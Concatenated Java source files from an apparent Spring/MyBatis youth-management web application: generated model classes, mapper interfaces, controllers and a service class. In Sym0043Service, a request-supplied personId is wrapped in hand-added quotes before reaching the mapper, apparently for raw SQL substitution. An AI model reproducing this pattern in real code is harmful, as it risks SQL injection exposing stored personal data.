MyBatis Generator. * This method sets the value of the database column qltn_m_wards.DISTRICT_ID * * @param districtId the value for qltn_m_wards.DISTRICT_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistrictId(String districtId) { this.districtId = districtId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.CITY_ID * * @return the value of qltn_m_wards.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCityId() { return cityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.CITY_ID * * @param cityId the value for qltn_m_wards.CITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCityId(String cityId) { this.cityId = cityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.COUNTRY_ID * * @return the value of qltn_m_wards.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCountryId() { return countryId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.COUNTRY_ID * * @param countryId the value for qltn_m_wards.COUNTRY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCountryId(String countryId) { this.countryId = countryId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.WARDS_CODE * * @return the value of qltn_m_wards.WARDS_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getWardsCode() { return wardsCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.WARDS_CODE * * @param wardsCode the value for qltn_m_wards.WARDS_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setWardsCode(String wardsCode) { this.wardsCode = wardsCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.WARDS_NAME * * @return the value of qltn_m_wards.WARDS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getWardsName() { return wardsName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.WARDS_NAME * * @param wardsName the value for qltn_m_wards.WARDS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setWardsName(String wardsName) { this.wardsName = wardsName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.CREATE_USER_ID * * @return the value of qltn_m_wards.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.CREATE_USER_ID * * @param createUserId the value for qltn_m_wards.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.CREATE_DATE * * @return the value of qltn_m_wards.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.CREATE_DATE * * @param createDate the value for qltn_m_wards.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.UPDATE_USER_ID * * @return the value of qltn_m_wards.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_wards.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.LAST_UPDATE_DATE * * @return the value of qltn_m_wards.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_wards.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_wards.DELETE_FLAG * * @return the value of qltn_m_wards.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_wards.DELETE_FLAG * * @param deleteFlag the value for qltn_m_wards.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0053Controller.java ```package vn.youthmanager.ict.youth.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import vn.youthmanager.ict.youth.service.Sym0053Service; @Controller @RequestMapping(value = "/0053") public class Sym0053Controller { @Autowired private Sym0053Service sym0053Service; @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Model model, @RequestParam(value = "personId") String personId) { sym0053Service.initDataNoteReport(model, personId); return "youth/0053"; } } ``` 2799276550f7ef44c51a9abc93ea0d8247818d11.svn-base ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMWards; /** * * @author nylf1992 * */ public class Sym0014Result extends QltnMWards { private String countryCode; private String countryName; private String cityCode; private String cityName; private String districtCode; private String districtName; private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } public String getCountryName() { return countryName; } public void setCountryName(String countryName) { this.countryName = countryName; } public String getCountryCode() { return countryCode; } public void setCountryCode(String countryCode) { this.countryCode = countryCode; } public String getCityCode() { return cityCode; } public void setCityCode(String cityCode) { this.cityCode = cityCode; } public String getCityName() { return cityName; } public void setCityName(String cityName) { this.cityName = cityName; } public String getDistrictCode() { return districtCode; } public void setDistrictCode(String districtCode) { this.districtCode = districtCode; } public String getDistrictName() { return districtName; } public void setDistrictName(String districtName) { this.districtName = districtName; } } ``` QltnMFamilyRelativesMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMFamilyRelatives; import vn.youthmanager.ict.common.db.model.QltnMFamilyRelativesExample; public interface QltnMFamilyRelativesMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int countByExample(QltnMFamilyRelativesExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int deleteByExample(QltnMFamilyRelativesExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int deleteByPrimaryKey(QltnMFamilyRelatives record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int insert(QltnMFamilyRelatives record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int insertSelective(QltnMFamilyRelatives record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ List<QltnMFamilyRelatives> selectByExample(QltnMFamilyRelativesExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ QltnMFamilyRelatives selectByPrimaryKey(String familyPersonId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMFamilyRelatives record, @Param("example") QltnMFamilyRelativesExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int updateByExample(@Param("record") QltnMFamilyRelatives record, @Param("example") QltnMFamilyRelativesExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int updateByPrimaryKeySelective(QltnMFamilyRelatives record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_family_relatives * * @mbggenerated Tue Jul 18 21:27:11 ICT 2017 */ int updateByPrimaryKey(QltnMFamilyRelatives record); }``` Sym0041Result.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMPerson; /** * * @author nylf1992 * */ public class Sym0041Result extends QltnMPerson { private String countryId; private String countryName; private String cityName; private String districtName; private String wardsName; private String townName; private String groupsName; private String cateName; private String statusName; private String level; private String universityName; private String specializedName; private String searchDataTotalCounts; public String getCountryName() { return countryName; } public void setCountryName(String countryName) { this.countryName = countryName; } public String getCityName() { return cityName; } public void setCityName(String cityName) { this.cityName = cityName; } public String getDistrictName() { return districtName; } public void setDistrictName(String districtName) { this.districtName = districtName; } public String getWardsName() { return wardsName; } public void setWardsName(String wardsName) { this.wardsName = wardsName; } public String getTownName() { return townName; } public void setTownName(String townName) { this.townName = townName; } public String getGroupsName() { return groupsName; } public void setGroupsName(String groupsName) { this.groupsName = groupsName; } public String getCateName() { return cateName; } public void setCateName(String cateName) { this.cateName = cateName; } public String getStatusName() { return statusName; } public void setStatusName(String statusName) { this.statusName = statusName; } public String getLevel() { return level; } public void setLevel(String level) { this.level = level; } public String getUniversityName() { return universityName; } public void setUniversityName(String universityName) { this.universityName = universityName; } public String getSpecializedName() { return specializedName; } public void setSpecializedName(String specializedName) { this.specializedName = specializedName; } public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } public String getCountryId() { return countryId; } public void setCountryId(String countryId) { this.countryId = countryId; } } ``` Sym0049Controller.java ```package vn.youthmanager.ict.youth.controller; import java.util.Locale; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller @RequestMapping(value = "/0049") public class Sym0049Controller { @RequestMapping(value = "/", method = RequestMethod.POST) public String topPost(Locale locale, Model model) { return "youth/0049"; } @RequestMapping(value = "/", method = RequestMethod.GET) public String topGet(Locale locale, Model model) { return "youth/0049"; } } ``` QltnMLocal.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMLocal { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.LOCAL_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String localId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.LOCAL_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String localName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_local.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.LOCAL_ID * * @return the value of qltn_m_local.LOCAL_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getLocalId() { return localId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.LOCAL_ID * * @param localId the value for qltn_m_local.LOCAL_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLocalId(String localId) { this.localId = localId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.LOCAL_NAME * * @return the value of qltn_m_local.LOCAL_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getLocalName() { return localName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.LOCAL_NAME * * @param localName the value for qltn_m_local.LOCAL_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLocalName(String localName) { this.localName = localName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.CREATE_USER_ID * * @return the value of qltn_m_local.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.CREATE_USER_ID * * @param createUserId the value for qltn_m_local.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.CREATE_DATE * * @return the value of qltn_m_local.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.CREATE_DATE * * @param createDate the value for qltn_m_local.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.UPDATE_USER_ID * * @return the value of qltn_m_local.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_local.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.LAST_UPDATE_DATE * * @return the value of qltn_m_local.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_local.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_local.DELETE_FLAG * * @return the value of qltn_m_local.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_local.DELETE_FLAG * * @param deleteFlag the value for qltn_m_local.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0043Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.db.model.QltnMCategory; import vn.youthmanager.ict.common.db.model.QltnMCategoryExample; import vn.youthmanager.ict.common.db.model.QltnMCity; import vn.youthmanager.ict.common.db.model.QltnMCityExample; import vn.youthmanager.ict.common.db.model.QltnMCountry; import vn.youthmanager.ict.common.db.model.QltnMCountryExample; import vn.youthmanager.ict.common.db.model.QltnMDetailReport; import vn.youthmanager.ict.common.db.model.QltnMDetailReportExample; import vn.youthmanager.ict.common.db.model.QltnMDistrict; import vn.youthmanager.ict.common.db.model.QltnMDistrictExample; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.common.db.model.QltnMFamilyRelatives; import vn.youthmanager.ict.common.db.model.QltnMGroups; import vn.youthmanager.ict.common.db.model.QltnMGroupsExample; import vn.youthmanager.ict.common.db.model.QltnMProcessPerson; import vn.youthmanager.ict.common.db.model.QltnMReport; import vn.youthmanager.ict.common.db.model.QltnMReportExample; import vn.youthmanager.ict.common.db.model.QltnMSpecialized; import vn.youthmanager.ict.common.db.model.QltnMSpecializedExample; import vn.youthmanager.ict.common.db.model.QltnMStatus; import vn.youthmanager.ict.common.db.model.QltnMStatusExample; import vn.youthmanager.ict.common.db.model.QltnMTown; import vn.youthmanager.ict.common.db.model.QltnMTownExample; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.common.db.model.QltnMUniversityExample; import vn.youthmanager.ict.common.db.model.QltnMWards; import vn.youthmanager.ict.common.db.model.QltnMWardsExample; import vn.youthmanager.ict.youth.dao.Sym0040Dao; import vn.youthmanager.ict.youth.dao.Sym0043Dao; @Service public class Sym0043Service { private static Logger logger = Logger.getLogger(Sym0019Service.class); ObjectMapper mapper = new ObjectMapper(); PlatformTransactionManager txManager; /* @Autowired private ApplicationContext appContext;*/ @Autowired private Sym0043Dao sym0043Dao; @Autowired private Sym0040Dao sym0040Dao; public static void setLogger(Logger logger) { Sym0043Service.logger = logger; } /* public void setAppContext(ApplicationContext appContext) { this.appContext = appContext; }*/ // change report Id String to array public void initData(Model model) { List<QltnMReport> reportData = new ArrayList<QltnMReport>(); // get all data of report with delete flag = 0 try { QltnMReportExample qltnMReportExample = new QltnMReportExample(); QltnMReportExample.Criteria qltnMReportCriteria = qltnMReportExample.createCriteria(); qltnMReportCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); reportData = sym0040Dao.getQltnMReportMapper().selectByExample(qltnMReportExample); } catch (Exception ex) { ex.printStackTrace(); reportData = new ArrayList<QltnMReport>(); } try { model.addAttribute("reportData", mapper.writeValueAsString(reportData)); } catch (Exception ex) { model.addAttribute("reportData", "''"); } // category List<QltnMCategory> cateData = new ArrayList<QltnMCategory>(); try { QltnMCategoryExample QltnMCategoryExample = new QltnMCategoryExample(); QltnMCategoryExample.Criteria countryCriteria = QltnMCategoryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cateData = sym0040Dao.getQltnMCategoryMapper().selectByExample(QltnMCategoryExample); model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { ex.printStackTrace(); cateData = new ArrayList<QltnMCategory>(); } try { model.addAttribute("cateData", mapper.writeValueAsString(cateData)); } catch (Exception ex) { model.addAttribute("cateData", ""); } // Status List<QltnMStatus> StatusData = new ArrayList<QltnMStatus>(); try { QltnMStatusExample QltnMStatusExample = new QltnMStatusExample(); QltnMStatusExample.Criteria countryCriteria = QltnMStatusExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); StatusData = sym0040Dao.getQltnMStatusMapper().selectByExample(QltnMStatusExample); model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { ex.printStackTrace(); StatusData = new ArrayList<QltnMStatus>(); } try { model.addAttribute("StatusData", mapper.writeValueAsString(StatusData)); } catch (Exception ex) { model.addAttribute("StatusData", ""); } // Combobox Country Data List<QltnMCountry> countryData = new ArrayList<QltnMCountry>(); try { QltnMCountryExample qltnMCountryExample = new QltnMCountryExample(); QltnMCountryExample.Criteria countryCriteria = qltnMCountryExample.createCriteria(); countryCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); countryData = sym0040Dao.getQltnMCountryMapper().selectByExample(qltnMCountryExample); model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { ex.printStackTrace(); countryData = new ArrayList<QltnMCountry>(); } try { model.addAttribute("countryData", mapper.writeValueAsString(countryData)); } catch (Exception ex) { model.addAttribute("countryData", ""); } // education List<QltnMEducational> educationData = new ArrayList<QltnMEducational>(); try { educationData = sym0040Dao.getQltnMEducationalMapper().selectByExample(null); model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { ex.printStackTrace(); educationData = new ArrayList<QltnMEducational>(); } try { model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { model.addAttribute("educationData", "''"); } } /** * getCityNameByCountryId. * * @param countryId * @return List<QltnMCity> */ public List<QltnMCity> getCityNameByCountryId(String countryId) { // Combobox City Data List<QltnMCity> cityData = new ArrayList<QltnMCity>(); QltnMCityExample qltnMCityExample = new QltnMCityExample(); QltnMCityExample.Criteria cityCriteria = qltnMCityExample.createCriteria(); cityCriteria.andCountryIdEqualTo(countryId); cityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); cityData = sym0040Dao.getQltnMCityMapper().selectByExample(qltnMCityExample); return cityData; } /** * getSpecializedDataByUniversityId. * * @param universityId * @return List<QltnMSpecialized> */ public List<QltnMSpecialized> getSpecializedDataByUniversityId(String universityId) { // Combobox City Data List<QltnMSpecialized> specializedData = new ArrayList<QltnMSpecialized>(); QltnMSpecializedExample qltnMSpecializedExample = new QltnMSpecializedExample(); QltnMSpecializedExample.Criteria specializedCriteria = qltnMSpecializedExample.createCriteria(); specializedCriteria.andUniversityIdEqualTo(universityId); specializedCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); specializedData = sym0040Dao.getQltnMSpecializedMapper().selectByExample(qltnMSpecializedExample); return specializedData; } /** * getUniversityDataByEducationId. * * @param educationId * @return List<QltnMUniversity> */ public List<QltnMUniversity> getUniversityDataByEducationId(String educationId) { // Combobox City Data List<QltnMUniversity> universityData = new ArrayList<QltnMUniversity>(); QltnMUniversityExample qltnMUniversityExample = new QltnMUniversityExample(); QltnMUniversityExample.Criteria universityCriteria = qltnMUniversityExample.createCriteria(); universityCriteria.andEducationIdEqualTo(educationId); universityCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); universityData = sym0040Dao.getQltnMUniversityMapper().selectByExample(qltnMUniversityExample); return universityData; } /** * getDistrictNameByCityId. * * @param countryId * @param cityId * @return List<QltnMDistrict> */ public List<QltnMDistrict> getDistrictNameByCityId(String countryId, String cityId) { // Combobox City Data List<QltnMDistrict> districtData = new ArrayList<QltnMDistrict>(); QltnMDistrictExample qltnMDistrictExample = new QltnMDistrictExample(); QltnMDistrictExample.Criteria districtCriteria = qltnMDistrictExample.createCriteria(); districtCriteria.andCountryIdEqualTo(countryId); districtCriteria.andCityIdEqualTo(cityId); districtCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); districtData = sym0040Dao.getQltnMDistrictMapper().selectByExample(qltnMDistrictExample); return districtData; } /** * getWardsNameByDistrictId. * * @param countryId * @param cityId * @param districtId * @return List<QltnMWards> */ public List<QltnMWards> getWardsNameByDistrictId(String countryId, String cityId, String districtId) { // Combobox wards Data List<QltnMWards> wardsData = new ArrayList<QltnMWards>(); QltnMWardsExample qltnMWardsExample = new QltnMWardsExample(); QltnMWardsExample.Criteria wardsCriteria = qltnMWardsExample.createCriteria(); wardsCriteria.andCountryIdEqualTo(countryId); wardsCriteria.andCityIdEqualTo(cityId); wardsCriteria.andDistrictIdEqualTo(districtId); wardsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); wardsData = sym0040Dao.getQltnMWardsMapper().selectByExample(qltnMWardsExample); return wardsData; } /** * getTownNameByWardsId. * * @param countryId * @param cityId * @param districtId * @param wardsId * @return List<QltnMTown> */ public List<QltnMTown> getTownNameByWardsId(String countryId, String cityId, String districtId, String wardsId) { // Combobox Town Data List<QltnMTown> townData = new ArrayList<QltnMTown>(); QltnMTownExample qltnMTownExample = new QltnMTownExample(); QltnMTownExample.Criteria townCriteria = qltnMTownExample.createCriteria(); townCriteria.andCountryIdEqualTo(countryId); townCriteria.andCityIdEqualTo(cityId); townCriteria.andDistrictIdEqualTo(districtId); townCriteria.andWardsIdEqualTo(wardsId); townCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0040Dao.getQltnMTownMapper().selectByExample(qltnMTownExample); return townData; } /** * getGroupsDataByTownId. * * @param countryId * @param cityId * @param districtId * @param wardsId * @param townId * @return List<QltnMGroups> */ public List<QltnMGroups> getGroupsDataByTownId(String countryId, String cityId, String districtId, String wardsId, String townId) { // Combobox Groups Data List<QltnMGroups> townData = new ArrayList<QltnMGroups>(); QltnMGroupsExample qltnMGroupsExample = new QltnMGroupsExample(); QltnMGroupsExample.Criteria groupsCriteria = qltnMGroupsExample.createCriteria(); groupsCriteria.andCountryIdEqualTo(countryId); groupsCriteria.andCityIdEqualTo(cityId); groupsCriteria.andDistrictIdEqualTo(districtId); groupsCriteria.andWardsIdEqualTo(wardsId); groupsCriteria.andTownIdEqualTo(townId); groupsCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); townData = sym0040Dao.getQltnMGroupsMapper().selectByExample(qltnMGroupsExample); return townData; } /** * getDetailReport. * * @param reportId * @return List<QltnMDetailReport> */ public List<QltnMDetailReport> getDetailReport(String reportId) { List<QltnMDetailReport> detailReportData = new ArrayList<QltnMDetailReport>(); try { QltnMDetailReportExample qltnMDetailReportExample = new QltnMDetailReportExample(); QltnMDetailReportExample.Criteria qltnMDetailReportCriteria = qltnMDetailReportExample.createCriteria(); qltnMDetailReportCriteria.andDeleteFlagEqualTo(Constants.DELETE_FLAG_OFF); qltnMDetailReportCriteria.andReportIdEqualTo(reportId); detailReportData = sym0040Dao.getQltnMDetailReportMapper().selectByExample(qltnMDetailReportExample); } catch (Exception ex) { ex.printStackTrace(); detailReportData = new ArrayList<QltnMDetailReport>(); } return detailReportData; } /** * getProcessEdit. * * get list process person by personId * @param personId * @return ArrayList<QltnMProcessPerson> */ public ArrayList<QltnMProcessPerson> getProcessEdit(String personId) { ArrayList<QltnMProcessPerson> qltnMProcessPersonsList = new ArrayList<QltnMProcessPerson>(); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", "'" +personId + "'"); try { qltnMProcessPersonsList = sym0043Dao.getSym0043Mapper().getProcessEdit(params); } catch (Exception ex) { ex.printStackTrace(); qltnMProcessPersonsList = null; logger.error("Error message: " + ex.getMessage()); } return qltnMProcessPersonsList; } public ArrayList<QltnMFamilyRelatives> getRelationShipOfPersonEdit(String personId) { ArrayList<QltnMFamilyRelatives> qltnMProcessPersonsList = new ArrayList<QltnMFamilyRelatives>(); HashMap<String, Object> params = new HashMap<String, Object>(); params.put("personId", "'" +personId + "'"); try { qltnMProcessPersonsList = sym0043Dao.getSym0043Mapper().getRelationShipOfPersonEdit(params); } catch (Exception ex) { ex.printStackTrace(); qltnMProcessPersonsList = null; logger.error("Error message: " + ex.getMessage()); } return qltnMProcessPersonsList; } } ``` Bnn0001BananaMenuController.java ```package vn.youthmanager.ict.youth.controller; import java.util.Locale; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; /** * @author Hieu Dao */ @Controller @RequestMapping(value = "/bananaMenu") public class Bnn0001BananaMenuController { /** * Simply selects the home view to render by returning its name. */ @RequestMapping(value = "/", method = RequestMethod.GET) public String top(Locale locale, Model model) { return "youth/main"; } } ``` Sym0009Conditions.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMCategory; /** * * @author nylf1992 * */ public class Sym0009Conditions extends QltnMCategory { // From parameter private String fromRow; // Number of items in a page private String itemCount; public String getFromRow() { return fromRow; } public void setFromRow(String fromRow) { this.fromRow = fromRow; } public String getItemCount() { return itemCount; } public void setItemCount(String itemCount) { this.itemCount = itemCount; } } ``` QltnMScreenMapper.java ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMScreen; import vn.youthmanager.ict.common.db.model.QltnMScreenExample; public interface QltnMScreenMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMScreenExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMScreenExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String screenId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated 